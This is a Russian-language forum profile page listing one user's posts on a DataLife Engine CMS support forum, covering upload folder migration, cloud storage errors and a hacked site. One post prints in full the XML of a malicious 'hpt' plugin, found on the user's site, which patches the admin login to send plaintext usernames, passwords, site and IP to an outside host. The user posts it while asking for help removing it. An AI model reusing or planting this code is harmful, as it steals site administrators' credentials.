my-products
-
Публикации
35 -
Зарегистрирован
-
Посещение
-
Дней в лидерах
1
Сообщения, опубликованные пользователем my-products
-
-
2 часа назад, kamensk сказал:
Думаю автору эти возможности будут не важны.
Как вывести то их понятно.
Но и важно их редактирования.. ведь новости будут удаляться и не только.
-
2 часа назад, kamensk сказал:
Когда я тестировал яндекс-стораге на тестовом сайте- я уже существующие файлы (картинки) перезалил на облако яндекса. А пути изменил через встроенную опцию "Поиск и замена". Спустя месяц после теста - я через "Поиск и замена" продедлал обратную операцию по переименованию путей....
Эту процедуру можно проделывать на любом другом хранилище или сервере.
А каким образом вы писали запрос ? То нужно всю папку. А не только картинки.
-
1 час назад, celsoft сказал:
Такой встроенной функции, а именно перенос уже загруженного нет, а соответственно какой то простой кнопкой или запросом этого не сделать. Потому как нужно править ряд данных и делать это очень осторожно и корректно. Для этого нужно очень хорошо разбираться в структуре таблиц DLE.
По этому мы и решили написать сюда.
Вдруг вы сами захотите написать нам гайд как это сделать :)
Мы понимаем что такой функции нет. И не обойтись одной кнопкой.
-
Добрый день.
Такой вопрос:
В новых версиях DLE имеется функция загрузки файлов в различные облако и прочее.
В связи с этим мы хотим создать поддомен для своего сайта и полностью перенести туда всю папку uploads, после уже через существующий функционал dle заливать все файлы на поддомен в эту папку.
Да вы скажете, не надо это делать, гугл и прочее.. Но нам все равно на гугл и прочее..
По этому у нас возникает вопрос.
Не подскажите, какие именно манипуляции нужно сделать - чтобы все файлы и картинки после переноса папки uploads на поддомен, корректно отображались на нашем сайте?
Может есть какой то простой запрос в базу данных, чтобы изменить все пути и прочее.. (то править всё в ручную с базой в 1гб, это немного суровое занятие)
То сколько в интернете не искали - не одного гайда на эту тему просто нет. Все только ссылают на новую функцию dle по загрузке.. но не кто не говорит как перенести уже существующие файлы и картинки.
По этому и спросим тут. Вдруг тут есть добрые люди которые хоть как то подскажут. Или вообще напишут для всех такой гайд.
-
Добрый. Такой вопрос:
Подключили Яндекс Облако (Object Storage) к DLE.
Создали доп. поля к новости и через них загружаем картинки и файлы.
Но заметили одну вещь.
Если файл больше чем 130MB - то мы получаем ошибку,
ЦитатаЗагрузка файла: 111.zip завершилось ошибкой
Файл сразу отказывает загружать и выдаёт ошибку.
Если меньше чем 130мб - то всё норм грузит.
Может кто подсказать. В чём прикол и где смотреть ?
-
Добрый день.
Извините. Не подскажите как вывести в DLE Uniform - Доп. Поля новости
Есть ли вообще возможность там это сделать ?
То смотрим и видим там такое
<span class="uf-btn" data-uniform="/engine/ajax/uniform/uniform.php" data-uf-settings='{"formConfig": "newsauthor", "fields": {"newsId": "{news-id}"}}'>Связь с автором новости</span>
А возможно ли там вообще выводить доп. поля от новостей ?
-
Можно. Делите файл на части js скриптом. Тем же resumable и прочее, готовых подобных скриптов в интернете куча.
Либо забейте на cloudflare и используйте ddos-guard.net
-
2 минуты назад, ZzzBep сказал:
Очень похоже на скачай вирус и установи его себе😀
Извини. Если тебе будет лучше то:
<?xml version="1.0" encoding="utf-8"?> <dleplugin> <name>HPT</name> <description></description> <icon></icon> <version>1</version> <dleversion></dleversion> <versioncompare>less</versioncompare> <upgradeurl></upgradeurl> <filedelete>0</filedelete> <needplugin></needplugin> <mnotice>0</mnotice> <mysqlinstall><![CDATA[]]></mysqlinstall> <mysqlupgrade><![CDATA[]]></mysqlupgrade> <mysqlenable><![CDATA[]]></mysqlenable> <mysqldisable><![CDATA[]]></mysqldisable> <mysqldelete><![CDATA[]]></mysqldelete> <phpinstall><![CDATA[]]></phpinstall> <phpupgrade><![CDATA[]]></phpupgrade> <phpenable><![CDATA[]]></phpenable> <phpdisable><![CDATA[]]></phpdisable> <phpdelete><![CDATA[]]></phpdelete> <notice><![CDATA[]]></notice> <file name="engine/inc/include/init.php"> <operation action="after"> <searchcode><![CDATA[$cmd5_password = "";]]></searchcode> <replacecode><![CDATA[$passcl = "";]]></replacecode> </operation> <operation action="after"> <searchcode><![CDATA[$cmd5_password = (string)$_POST['password'];]]></searchcode> <replacecode><![CDATA[$passcl = (string)$_POST['password'];]]></replacecode> </operation> <operation action="replace"> <searchcode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log ) )]]></searchcode> <replacecode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log, $passcl) )]]></replacecode> </operation> </file> <file name="engine/inc/include/functions.inc.php"> <operation action="after"> <searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$username."', '{$_TIME}', '{$_IP}', '89', '')" );]]></searchcode> <replacecode><![CDATA[$site = $_SERVER['HTTP_HOST']; $ip = $_SERVER['REMOTE_ADDR']; $data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=false"; if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php'); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $out = curl_exec($curl); echo $out; curl_close($curl); }]]></replacecode> </operation> <operation action="after"> <searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$db->safesql($member_id['name'])."', '{$_TIME}', '{$_IP}', '{$a_id}', '{$extr}')" );]]></searchcode> <replacecode><![CDATA[$site = $_SERVER['HTTP_HOST']; $ip = $_SERVER['REMOTE_ADDR']; $data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=true"; if( $curl = curl_init() ) { curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php'); curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); $out = curl_exec($curl); echo $out; curl_close($curl); }]]></replacecode> </operation> <operation action="replace"> <searchcode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false)]]></searchcode> <replacecode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false, $passcl)]]></replacecode> </operation> </file> </dleplugin>
-
Такая небольшая ситуация у нас возникла..
Собственно опишу ситуацию:
Есть у нас сайт на dle (14.0), работал он пару лет стабильно и мы ни чего не правили в нём.
Вчера нам позвонили какие-то челики и говорят: У вас на сайте вирус замечан, давайте мы вам его исправим за денюжку.
После мы пошли смотреть сайт, что с ним. И да и в правду видим редерект с нашего сайта на какой-то левый.
Проверили все логи и прочее, даже логи админ панели, вдруг кто-то логин и пароль подобрал. И ни чего не нашли - всё чисто.
Потом как то случайно зашли в раздел плагины. И увидели так какой-то плагин под названием hpt
Данный плагин тупо не удаляется. Доступы имеются только у нас. Как он там появился - мы можем только гадать.
В plagins.class.php у нас увы стояло public static $read_only = false;
Вопросы к знатокам:
1. Как удалить данный плагин ?
При удалении он выдаёт ошибку вида:
Заголовок HTTP_REFERER некорректен либо не определен. Для осуществления данного действия этот заголовок обязателен. Если вы переименовали имя админпанели в настройках, то убедитесь, что вы находитесь в панели и именно по переименованному адресу. Также возможно вы перешли на эту страницу с несанкционированной страницы, или вы находитесь за прокси сервером, который удалил заголовок HTTP_REFERER. В случае использования прокси сервера, настройте его на передачу корректного заголовка HTTP_REFERER либо отключите его.
2. Какими способами люди записывают свои плагины на dle сайты, при этом не имея доступов к фтп, хостингу или админ панели dle.
Сам плагин этот. мы вам прикрепим. Вдруг вам станет интересно, что это за чудо.
Перенести папку uploads на поддомен
в DataLife Engine (Общие вопросы)
Опубликовано:
По моему вы полную ерунду говорите.
Функция "Поиск и замена" - меняет данные из бд.
Но в бд изначально нет пути файла в виде:
сайт/uploads/files/
сайт/uploads/posts/
и.т.д.